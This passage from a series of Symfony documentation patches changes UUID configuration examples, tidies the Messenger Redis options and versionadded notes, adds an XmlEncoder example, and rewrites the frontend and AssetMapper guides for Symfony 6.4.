-                    default_uuid_version="7"
+                    default_uuid_version="6"
                     name_based_uuid_version="5"
                     name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8"
-                    time_based_uuid_version="7"
+                    time_based_uuid_version="6"
                     time_based_uuid_node="121212121212"
                 />
             </framework:config>
@@ -135,10 +135,10 @@ configure the behavior of the factory using configuration files::
 
             $container->extension('framework', [
                 'uid' => [
-                    'default_uuid_version' => 7,
+                    'default_uuid_version' => 6,
                     'name_based_uuid_version' => 5,
                     'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8',
-                    'time_based_uuid_version' => 7,
+                    'time_based_uuid_version' => 6,
                     'time_based_uuid_node' => 121212121212,
                 ],
             ]);
@@ -160,7 +160,7 @@ on the configuration you defined::
 
         public function generate(): void
         {
-            // This creates a UUID of the version given in the configuration file (v7 by default)
+            // This creates a UUID of the version given in the configuration file (v6 by default)
             $uuid = $this->uuidFactory->create();
 
             $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */);

From 23b1e14b191443c2465d41eb922caa4661edbc23 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 29 Nov 2023 07:11:51 +0100
Subject: [PATCH 4088/5766] -

---
 messenger.rst | 40 ----------------------------------------
 1 file changed, 40 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index f5c7957b76b..a8bf794bfc8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1596,7 +1596,6 @@ stream_max_entries       The maximum number of entries which    ``0`` (which mea
                          the stream will be trimmed to. Set
                          it to a large enough number to
                          avoid losing pending messages
-tls                      Enable TLS support for the connection  false
 redeliver_timeout        Timeout before retrying a pending      ``3600``
                          message which is owned by an
                          abandoned consumer (if a worker died
@@ -1617,45 +1616,6 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
-<<<<<<< HEAD
-.. versionadded:: 6.1
-
-    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
-    ``sentinel_master`` options were introduced in Symfony 6.1.
-=======
-===================  =====================================  =================================
-Option               Description                            Default
-===================  =====================================  =================================
-stream               The Redis stream name                  messages
-group                The Redis consumer group name          symfony
-consumer             Consumer name used in Redis            consumer
-auto_setup           Create the Redis group automatically?  true
-auth                 The Redis password
-delete_after_ack     If ``true``, messages are deleted      false
-                     automatically after processing them
-delete_after_reject  If ``true``, messages are deleted      true
-                     automatically if they are rejected
-lazy                 Connect only when a connection is      false
-                     really needed
-serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                     in Redis (the
-                     ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
-                     the stream will be trimmed to. Set
-                     it to a large enough number to
-                     avoid losing pending messages
-redeliver_timeout    Timeout before retrying a pending      ``3600``
-                     message which is owned by an
-                     abandoned consumer (if a worker died
-                     for some reason, this will occur,
-                     eventually you should retry the
-                     message) - in seconds.
-claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
-                     messages should be checked for to
-                     claim - in milliseconds
-===================  =====================================  =================================
->>>>>>> 5.4
-
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From c09286e4296fed52cb7b49b3317825edcd53fef7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9rage=20K=C3=A9vin?=
 <35264408+ktherage@users.noreply.github.com>
Date: Tue, 28 Nov 2023 12:07:36 +0100
Subject: [PATCH 4089/5766] Adding precision on how to define attributes on the
 root node for the XML Encoder

---
 components/serializer.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 96e3408c1be..9ce72892451 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1162,6 +1162,23 @@ the key  ``#comment`` can be used for encoding XML comments::
 You can pass the context key ``as_collection`` in order to have the results
 always as a collection.
 
+.. note::
+
+    You may need to add some attributes on the root node::
+
+        $encoder = new XmlEncoder();
+        $encoder->encode([
+            '@attribute1' => 'foo',
+            '@attribute2' => 'bar',
+            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
+        ], 'xml');
+
+        // will return:
+        // <?xml version="1.0"?>
+        // <response attribute1="foo" attribute2="bar">
+        // <foo bar="value">baz</foo>
+        // </response>
+
 .. tip::
 
     XML comments are ignored by default when decoding contents, but this

From 567111a4930289d81d7e00a3900f0990d5718958 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 29 Nov 2023 10:40:15 +0100
Subject: [PATCH 4090/5766] re-add versionadded directive

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index a8bf794bfc8..44bdb0f4c92 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1616,6 +1616,11 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
+.. versionadded:: 6.1
+
+    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
+    ``sentinel_master`` options were introduced in Symfony 6.1.
+
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From 875f4076713ad355283d76f4671dc26defc5192e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 29 Nov 2023 10:43:22 +0100
Subject: [PATCH 4091/5766] remove versionadded directives for Symfony 6

---
 frontend/asset_mapper.rst | 4 ----
 messenger.rst             | 5 -----
 2 files changed, 9 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 765668ed8ab..c0c8e11040e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -951,10 +951,6 @@ is useful if you want to avoid leaking sensitive files like ``.env`` or
 
 This option is enabled by default.
 
-.. versionadded:: 6.4
-
-    The ``exclude_dotfiles`` option was introduced in Symfony 6.4.
-
 .. _config-importmap-polyfill:
 
 ``framework.asset_mapper.importmap_polyfill``
diff --git a/messenger.rst b/messenger.rst
index d2f64e74230..8fc7e158cfe 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1586,11 +1586,6 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
-.. versionadded:: 6.1
-
-    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
-    ``sentinel_master`` options were introduced in Symfony 6.1.
-
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From 462f5ab58f626c5e9405cbde4f7e5ec85a55c750 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Sat, 25 Nov 2023 20:59:02 -0500
Subject: [PATCH 4092/5766] AssetMapper 6.4 docs

---
 frontend.rst                               | 138 ++----
 frontend/asset_mapper.rst                  | 493 ++++++++++-----------
 frontend/encore/babel.rst                  |   4 +-
 frontend/encore/bootstrap.rst              |   4 +-
 frontend/encore/cdn.rst                    |   4 +-
 frontend/encore/code-splitting.rst         |   4 +-
 frontend/encore/copy-files.rst             |   4 +-
 frontend/encore/css-preprocessors.rst      |   4 +-
 frontend/encore/custom-loaders-plugins.rst |   4 +-
 frontend/encore/faq.rst                    |   4 +-
 frontend/encore/index.rst                  |  54 +++
 frontend/encore/legacy-applications.rst    |   4 +-
 frontend/encore/postcss.rst                |   4 +-
 frontend/encore/reactjs.rst                |   6 +-
 frontend/encore/server-data.rst            |   4 +-
 frontend/encore/sourcemaps.rst             |   4 +-
 frontend/encore/split-chunks.rst           |   2 +-
 frontend/encore/typescript.rst             |   4 +-
 frontend/encore/url-loader.rst             |   4 +-
 frontend/encore/versioning.rst             |   4 +-
 frontend/encore/vuejs.rst                  |   6 +-
 21 files changed, 365 insertions(+), 394 deletions(-)
 create mode 100644 frontend/encore/index.rst

diff --git a/frontend.rst b/frontend.rst
index 235702beada..053fd8aec33 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -8,34 +8,45 @@ more advanced - like scaffolding your front-end with a tool like Next.js.
 However, Symfony *does* come with two powerful options to help you build a modern,
 fast frontend, *and* enjoy the process:
 
-* :ref:`Webpack Encore <frontend-webpack-encore>` is a powerful tool built with `Node.js`_
-  on top of `Webpack`_ that allows you to write modern CSS & JavaScript and handle
-  things like JSX (React), Vue or TypeScript.
-
-* :ref:`AssetMapper <frontend-asset-mapper>`, is a production-ready simpler alternative
-  to Webpack Encore that runs entirely in PHP.
-
-================================  =================  ======================================================
-                                  Encore             AssetMapper
-================================  =================  ======================================================
-Production Ready?                 yes                yes
-Stable?                           yes                yes
-Requirements                      Node.js            none: pure PHP
-Requires a build step?            yes                no
-Works in all browsers?            yes                yes
-Supports `Stimulus/UX`_           yes                yes
-Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes :ref:`[1] <ux-note-1>`
-Supports TypeScript               yes                no :ref:`[1] <ux-note-1>`
-================================  =================  ======================================================
+* :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs
+  entirely in PHP, doesn't require any build step and leverages modern web standards.
+
+* :ref:`Webpack Encore <frontend-webpack-encore>` is built with `Node.js`_
+  on top of `Webpack`_.
+
+================================  ==================================  ==========
+                                  AssetMapper                         Encore
+================================  ==================================  ==========
+Production Ready?                 yes                                 yes
+Stable?                           yes                                 yes
+Requirements                      none                                Node.js
+Requires a build step?            no                                  yes
+Works in all browsers?            yes                                 yes
+Supports `Stimulus/UX`_           yes                                 yes
+Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
+Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
+Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
+================================  ==================================  ==========
 
 .. _ux-note-1:
 
-**[1]** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+**[1]** Using JSX (React), Vue, etc with AssetMapper is possible, but you'll
 need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
+.. _frontend-asset-mapper:
+
+AssetMapper (Recommended)
+-------------------------
+
+AssetMapper is the recommended system for handling your assets. It runs entirely
+in PHP with *no* complex build step or dependencies. It does this by leveraging
+the ``importmap`` feature of your browser, which is available in all browsers thanks
+to a polyfill.
+
+:doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
+
 .. _frontend-webpack-encore:
 
 Webpack Encore
@@ -50,83 +61,15 @@ It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript mo
 pre-processing CSS & JS and compiling and minifying assets. Encore gives you a professional
 asset system that's a *delight* to use.
 
-Encore is inspired by `Webpacker`_ and `Mix`_, but stays in the spirit of Webpack:
-using its features, concepts and naming conventions for a familiar feel. It aims
-to solve the most common Webpack use cases.
-
-.. tip::
-
-    Encore is made by `Symfony`_ and works *beautifully* in Symfony applications.
-    But it can be used in any PHP application and even with other server-side
-    programming languages!
-
-.. _encore-toc:
-
-Encore Documentation
---------------------
-
-Getting Started
-...............
-
-* :doc:`Installation </frontend/encore/installation>`
-* :doc:`Using Webpack Encore </frontend/encore/simple-example>`
-
-Adding more Features
-....................
-
-* :doc:`CSS Preprocessors: Sass, LESS, etc. </frontend/encore/css-preprocessors>`
-* :doc:`PostCSS and autoprefixing </frontend/encore/postcss>`
-* :doc:`Enabling React.js </frontend/encore/reactjs>`
-* :doc:`Enabling Vue.js (vue-loader) </frontend/encore/vuejs>`
-* :doc:`/frontend/encore/copy-files`
-* :doc:`Configuring Babel </frontend/encore/babel>`
-* :doc:`Source maps </frontend/encore/sourcemaps>`
-* :doc:`Enabling TypeScript (ts-loader) </frontend/encore/typescript>`
-
-Optimizing
-..........
-
-* :doc:`Versioning (and the entrypoints.json/manifest.json files) </frontend/encore/versioning>`
-* :doc:`Using a CDN </frontend/encore/cdn>`
-* :doc:`/frontend/encore/code-splitting`
-* :doc:`/frontend/encore/split-chunks`
-* :doc:`/frontend/encore/url-loader`
-
-Guides
-......
-
-* :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
-* :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
-* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
-* :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
-* :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>`
-* :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>`
-* :doc:`Using Encore in a Virtual Machine </frontend/encore/virtual-machine>`
-
-Issues & Questions
-..................
-
-* :doc:`FAQ & Common Issues </frontend/encore/faq>`
-
-Full API
-........
-
-* `Full API`_
-
-.. _frontend-asset-mapper:
-
-AssetMapper
------------
-
-AssetMapper is an alternative to Webpack Encore that runs entirely in PHP
-without any complex build steps. It leverages the ``importmap`` feature of
-your browser, which is available in all browsers thanks to a polyfill.
-
-:doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
+:doc:`Read the Encore Documentation </frontend/encore/index>`
 
 Stimulus & Symfony UX Components
 --------------------------------
 
+Once you've installed AssetMapper or Encore, it's time to start building your
+front-end. You can write your JavaScript however you want, but we recommend
+using `Stimulus`_, `Turbo`_ and a set of tools called `Symfony UX`_.
+
 To learn about Stimulus & the UX Components, see:
 the `StimulusBundle Documentation`_
 
@@ -139,10 +82,9 @@ Other Front-End Articles
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
 .. _`Node.js`: https://nodejs.org/
-.. _`Webpacker`: https://github.com/rails/webpacker
-.. _`Mix`: https://laravel.com/docs/mix
-.. _`Symfony`: https://symfony.com/
-.. _`Full API`: https://github.com/symfony/webpack-encore/blob/master/index.js
 .. _`Webpack Encore screencast series`: https://symfonycasts.com/screencast/webpack-encore
 .. _StimulusBundle Documentation: https://symfony.com/bundles/StimulusBundle/current/index.html
 .. _Stimulus/UX: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _Stimulus: https://stimulus.hotwired.dev/
+.. _Turbo: https://turbo.hotwired.dev/
+.. _Symfony UX: https://ux.symfony.com
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f65aff65c17..a3b51f5e267 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -11,17 +11,17 @@ like the ``import`` statement and ES6 classes. And the HTTP/2 protocol means tha
 combining your assets to reduce HTTP connections is no longer urgent. This component
 is a light layer that helps serve your files directly to the browser.
 
-The AssetMapper component has two main features:
+The component has two main features:
 
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
-  are made available publicly and **versioned**. For example, you can reference
+  are made available publicly and **versioned**. You can reference
   ``assets/styles/app.css`` in a template with ``{{ asset('styles/app.css') }}``.
   The final URL will include a version hash, like ``/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
   without a build system. It's supported in all browsers (thanks to a shim)
-  and is part of the `HTML5 standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
+  and is part of the `HTML standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
 
 Installation
 ------------
@@ -47,12 +47,8 @@ It also *updated* the ``templates/base.html.twig`` file:
 
 .. code-block:: diff
 
-    {% block stylesheets %}
-    +    <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
-    {% endblock %}
-
     {% block javascripts %}
-    +    {{ importmap() }}
+    +    {{ importmap('app') }}
     {% endblock %}
 
 If you're not using Flex, you'll need to create & update these files manually. See
@@ -97,30 +93,6 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
-Paths Inside of CSS Files
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-From inside CSS, you can reference other files using the normal CSS ``url()``
-function and a relative path to the target file:
-
-.. code-block:: css
-
-    /* assets/styles/app.css */
-    .quack {
-        /* file lives at assets/images/duck.png */
-        background-image: url('../images/duck.png');
-    }
-
-The path in the final ``app.css`` file will automatically include the versioned URL
-for ``duck.png``:
-
-.. code-block:: css
-
-    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
-    .quack {
-        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
-    }
-
 Debugging: Seeing All Mapped Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -183,7 +155,7 @@ All modern browsers support the JavaScript `import statement`_ and modern
         }
     }
 
-Thanks to the ``{{ importmap() }}`` Twig function, which you'll learn all about in
+Thanks to the ``{{ importmap('app') }}`` Twig function call, which you'll learn about in
 this section, the ``assets/app.js`` file is loaded & executed by the browser.
 
 .. tip::
@@ -213,8 +185,10 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     // importmap.php
     return [
-        // ...
-
+        'app' => [
+            'path' => './assets/app.js',
+            'entrypoint' => true,
+        ],
         'bootstrap' => [
             'version' => '5.3.0',
         ],
@@ -224,10 +198,8 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
     such as ``@popperjs/core``. The ``importmap:require`` command will add both the
-    main package *and* its dependencies.
-
-After adding/updating the package in your ``importmap.php`` file, all new packages
-will be downloaded into an ``assets/vendor/`` directory.
+    main package *and* its dependencies. If a package includes a main CSS file,
+    that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`).
 
 Now you can import the ``bootstrap`` package like usual:
 
@@ -236,9 +208,10 @@ Now you can import the ``bootstrap`` package like usual:
     import { Alert } from 'bootstrap';
     // ...
 
-It's recommended to ignore the ``assets/vendor/`` directory and not commit it to
-your repository. Therefore, you'll need to run the ``php bin/console importmap:install``
-command to download the files on other computers if some files are missing:
+All packages in ``importmap.php`` are downloaded into an ``assets/vendor/`` directory,
+which should be ignored by git (the Flex recipe adds it to ``.gitignore`` for you).
+You'll need to run the ``php bin/console importmap:install``
+command to download the files on other computers if some are missing:
 
 .. code-block:: terminal
 
@@ -285,58 +258,68 @@ outputs an `importmap`_:
         "imports": {
             "app": "/assets/app-4e986c1a2318dd050b1d47db8d856278.js",
             "/assets/duck.js": "/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js",
-            "bootstrap": "https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm"
+            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f0935445d9c6022100863214b519a1f2.js"
         }
     }</script>
 
-Import maps are a native browser feature. They work in all browsers thanks to
-a "shim" file that's included automatically by the AssetMapper component
-(all *modern* browsers `support them natively <https://caniuse.com/import-maps>`_).
-
-When you import ``bootstrap`` from your JavaScript, the browser will look at
-the ``importmap`` and see that it should fetch the package from the URL.
+Import maps are a native browser feature. When you import ``bootstrap`` from
+JavaScript, the browser will look at the ``importmap`` and see that it should
+fetch the package from the associated path.
 
 .. _automatic-import-mapping:
 
-But where did the ``/assets/duck.js`` import entry come from? Great question!
+But where did the ``/assets/duck.js`` import entry come from? That doesn't live
+in ``importmap.php``. Great question!
 
 The ``assets/app.js`` file above imports ``./duck.js``. When you import a file using a
 relative path, your browser looks for that file relative to the one importing
 it. So, it would look for ``/assets/duck.js``. That URL *would* be correct,
 except that the ``duck.js`` file is versioned. Fortunately, the AssetMapper component
-sees that import and adds a mapping from ``/assets/duck.js`` to the correct, versioned
+sees the import and adds a mapping from ``/assets/duck.js`` to the correct, versioned
 filename. The result: importing ``./duck.js`` just works!
 
-Preloading and Initializing "app.js"
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The ``importmap()`` function also outputs an `ES module shim`_ so that
+`older browsers <https://caniuse.com/import-maps>`_ understand importmaps
+(see the :ref:`polyfill config <config-importmap-polyfill>`).
 
-In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `ES module shim`_ (see the :ref:`polyfill config <config-importmap-polyfill>`) and
-a few other things, like a set of "preloads":
+.. _app-entrypoint:
 
-.. code-block:: html
+The "app" Entrypoint & Preloading
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
-    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+An "entrypoint" is the main JavaScript file that the browser loads,
+and your app starts with one by default::
 
-In ``importmap.php``, each entry can have a ``preload`` option. If set to ``true``,
-a ``<link rel="modulepreload">`` tag is rendered for that entry as well as for
-any JavaScript files it imports (this happens for "relative" - ``./`` or ``../`` -
-imports only). This is a performance optimization and you can learn more about below
-in :ref:`Performance: Add Preloading <performance-preloading>`.
+    // importmap.php
+    return [
+        'app' => [
+            'path' => './assets/app.js',
+            'entrypoint' => true,
+        ],
+        // ...
+    ];
 
 .. _importmap-app-entry:
 
-The ``importmap()`` function also renders one more line:
+In addition to the importmap, the ``{{ importmap('app') }}`` in
+``base.html.twig`` outputs a few other things, including:
 
 .. code-block:: html
 
     <script type="module">import 'app';</script>
 
-So far, the snippets shown export an ``importmap`` and even hinted to the
-browser that it should preload some files. But the browser hasn't yet been told to
-actually parse and execute any JavaScript. This line does that: it imports the
-``app`` entry, which causes the code in ``assets/app.js`` to be executed.
+This line tells the browser to load the ``app`` importmap entry, which causes the
+code in ``assets/app.js`` to be executed.
+
+The ``importmap()`` function also outputs a set of "preloads":
+
+.. code-block:: html
+
+    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
+    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+
+This is a performance optimization and you can learn more about below
+in :ref:`Performance: Add Preloading <performance-preloading>`.
 
 Importing Specific Files From a 3rd Party Package
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -354,7 +337,7 @@ and a specific language:
     hljs.highlightAll();
 
 In this case, adding the ``highlight.js`` package to your ``importmap.php`` file
-won't work: whatever your importing - e.g. ``highlight.js/lib/core`` - needs to
+won't work: whatever you import - e.g. ``highlight.js/lib/core`` - needs to
 *exactly* match an entry in the ``importmap.php`` file.
 
 Instead, use ``importmap:require`` and pass it the exact paths you need. This
@@ -405,65 +388,121 @@ from inside ``app.js``:
     // things on "window" become global variables
     window.$ = $;
 
-Handling 3rd-Party CSS
-----------------------
+Handling CSS
+------------
 
-With the ``importmap:require`` command, you can quickly use any JavaScript
-package. But what about CSS? For example, the ``bootstrap`` package also contains
-a CSS file.
+.. versionadded:: 6.4
 
-Including CSS is a bit more manual, but still easy enough. To find the CSS,
-we recommend using `jsdelivr.com`_:
+    The ability to import CSS files was introduced in Symfony 6.4.
 
-#. Search for the package on `jsdelivr.com`_.
-#. Once on the package page (e.g. https://www.jsdelivr.com/package/npm/bootstrap),
-   sometimes the ``link`` tag to the CSS file will already be shown in the "Install" box.
-#. If not, click the "Files" tab and find the CSS file you need. For example,
-   the ``bootstrap`` package has a ``dist/css/bootstrap.min.css`` file. If you're
-   not sure which file to use, check the ``package.json`` file. Often
-   this will have a ``main`` or ``style`` key that points to the CSS file.
+CSS can be added to your page by importing it from a JavaScript file. The default
+``assets/app.js`` already imports ``assets/styles/app.css``:
 
-Once you have the URL, include it in ``base.html.twig``:
+.. code-block:: javascript
 
-.. code-block:: diff
+    // assets/app.js
+    import '../styles/app.css';
 
-    {% block stylesheets %}
-    +   <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
-        <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
-    {% endblock %}
+    // ...
 
-If you'd rather download the CSS file and include it locally, you can do that.
-For example, you could manually download, save it to ``assets/vendor/bootstrap.min.css``
-and then include it with:
+When you call ``importmap('app')`` in ``base.html.twig``, AssetMapper parses
+``assets/app.js`` (and any JavaScript files that *it* imports) looking for ``import``
+statements for CSS files. The final collection of CSS files is rendered onto
+the page as ``link`` tags in the order they were imported.
 
-.. code-block:: html+twig
+.. note::
 
-    <link rel="stylesheet" href="{{ asset('vendor/bootstrap.min.css') }}">
+    Importing a CSS file is *not* something that is natively supported by
+    JavaScript modules and normally causes an error. AssetMapper makes this
+    work by adding an importmap entry for each CSS file that is valid, but
+    does nothing. AssetMapper adds a ``link`` tag for each CSS file, but when
+    the JavaScript executes the ``import`` statement, nothing additional happens.
 
-Lazily Importing CSS from a JavaScript File
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _asset-mapper-3rd-party-css:
+
+Handling 3rd-Party CSS
+~~~~~~~~~~~~~~~~~~~~~~
 
-When using a bundler like :ref:`Encore <frontend-webpack-encore>`, you can
-import CSS from a JavaScript file:
+Sometimes a JavaScript package will contain one or more CSS files. For example,
+the ``bootstrap`` package has a `dist/css/bootstrap.min.css file`_.
+
+You can require CSS files in the same way as JavaScript files:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require bootstrap/dist/css/bootstrap.min.css
+
+To include it on the page, import it from a JavaScript file:
 
 .. code-block:: javascript
 
-    // this CAN work (keep reading), but will be loaded lazily
-    import 'swiper/swiper-bundle.min.css';
+    // assets/app.js
+    import 'bootstrap/dist/css/bootstrap.min.css';
 
-This *can* work with importmaps, but it should *not* be used for critical CSS
-that needs to be loaded before the page is rendered because the browser
-won't download the CSS until the JavaScript file executed.
+    // ...
 
-However, if you *do* want to lazily-load a CSS file, you can make this work
-by using the ``importmap:require`` command and pointing it at a CSS file.
+.. tip::
 
-.. code-block:: terminal
+    Some packages - like ``bootstrap`` - advertise that they contain a CSS
+    file. In those cases, when you ``importmap:require bootstrap``, the
+    CSS file is also added to ``importmap.php`` for convenience.
+
+Paths Inside of CSS Files
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+From inside CSS, you can reference other files using the normal CSS ``url()``
+function and a relative path to the target file:
+
+.. code-block:: css
+
+    /* assets/styles/app.css */
+    .quack {
+        /* file lives at assets/images/duck.png */
+        background-image: url('../images/duck.png');
+    }
+
+The path in the final ``app.css`` file will automatically include the versioned URL
+for ``duck.png``:
+
+.. code-block:: css
+
+    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
+    .quack {
+        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
+    }
+
+.. _asset-mapper-tailwind:
+
+Using Tailwind CSS
+~~~~~~~~~~~~~~~~~~
+
+To use the `Tailwind`_ CSS framework with the AssetMapper component, check out
+`symfonycasts/tailwind-bundle`_.
+
+.. _asset-mapper-sass:
+
+Using Sass
+~~~~~~~~~~
+
+To use Sass with AssetMapper component, check out `symfonycasts/sass-bundle`_.
+
+Lazily Importing CSS from a JavaScript File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you have some CSS that you want to load lazily, you can do that via
+the normal, "dynamic" import syntax:
 
-    $ php bin/console importmap:require swiper/swiper-bundle.min.css
+.. code-block:: javascript
+
+    // assets/any-file.js
+    import('./lazy.css');
 
-This works because ``jsdelivr`` returns a URL to a JavaScript file that,
-when executed, adds the CSS to your page.
+    // ...
+
+In this case, ``lazy.css`` will be downloaded asynchronously and then added to
+the page. If you use a dynamic import to lazily-load a JavaScript file and that
+file imports a CSS file (using the non-dynamic ``import`` syntax), that CSS file
+will also be downloaded asynchronously.
 
 Issues and Debugging
 --------------------
@@ -609,75 +648,43 @@ validate the performance of your site!
 
 .. _performance-preloading:
 
-Performance: Add Preloading
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Performance: Understanding Preloading
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.4
+
+    Automatic preloading of JavaScript files was introduced in Symfony 6.4.
 
-One common issue that LightHouse may report is:
+One issue that LightHouse may report is:
 
     Avoid Chaining Critical Requests
 
-Some items in this list are fine. But if this list is long or some items are
-multiple-levels deep, that *is* something you should fix with "preloading".
-To understand the problem, imagine that you have this setup:
+To understand the problem, imagine this theoretical setup:
 
 - ``assets/app.js`` imports ``./duck.js``
 - ``assets/duck.js`` imports ``bootstrap``
 
-When the browser downloads the page, this happens:
+Without preloading, when the browser downloads the page, the following would happen:
 
 1. The browser downloads ``assets/app.js``;
 2. It *then* sees the ``./duck.js`` import and downloads ``assets/duck.js``;
 3. It *then* sees the ``bootstrap`` import and downloads ``assets/bootstrap.js``.
 
-Instead of downloading all 3 files in parallel, the browser is forced to
-download them one-by-one as it discovers them. This hurts performance. To fix
-this, in ``importmap.php``, add a ``preload`` key to the ``app`` entry, which
-points to the ``assets/app.js`` file. Actually, this should already be
-done for you::
-
-    // importmap.php
-    return [
-        'app' => [
-            'path' => 'app.js',
-            'preload' => true,
-        ],
-        // ...
-    ];
+Instead of downloading all 3 files in parallel, the browser would be forced to
+download them one-by-one as it discovers them. That would hurt performance.
 
-Thanks to this, the AssetMapper component will render a "preload" tag onto your page
-for ``assets/app.js`` *and* any other JavaScripts files that it imports using
-a relative path (i.e. starting with ``./`` or ``../``):
-
-.. code-block:: html
-
-    <link rel="preload" href="/assets/app.js" as="script">
-    <link rel="preload" href="/assets/duck.js" as="script">
-
-This tells the browser to start downloading both of these files immediately,
-even though it hasn't yet seen the ``import`` statement for ``assets/duck.js``
-
-You'll also want to preload ``bootstrap`` as well, which you can do in the
-same way::
-
-    // importmap.php
-    return [
-        // ...
-        'bootstrap' => [
-            'path' => '...',
